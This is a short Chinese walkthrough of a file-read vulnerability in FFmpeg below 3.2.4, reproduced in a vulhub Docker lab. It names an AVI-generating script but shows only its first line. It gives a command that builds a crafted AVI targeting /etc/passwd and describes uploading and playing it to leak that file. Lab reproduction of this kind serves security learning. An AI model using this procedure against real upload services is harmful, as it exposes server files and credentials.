0x01 漏洞用途
如果某场景使用ffmpeg版本小于3.2.4,并且有上传用户自定义avi视频的时候,利用该漏洞可以读取服务器上任意文件。
0x02制作特殊的avi
脚本如下:
1 | #!/usr/bin/env python3 |
使用命令
1 | python3 gen_avi.py file:///etc/passwd poc.avi |
获得poc.avi用来上传文件
0x03 漏洞复现
首先复现环境使用pthithon的vulhub,项目地址https://github.com/vulhub/vulhub/tree/master/ffmpeg/phdays
1 | docker-compose build |
运行好环境后访问http://localhost:8080即可
这里是一个上传点,然后将之前构造好的上传文件上传后,提交,播放上传的视频即可获得/etc/passwd文件的内容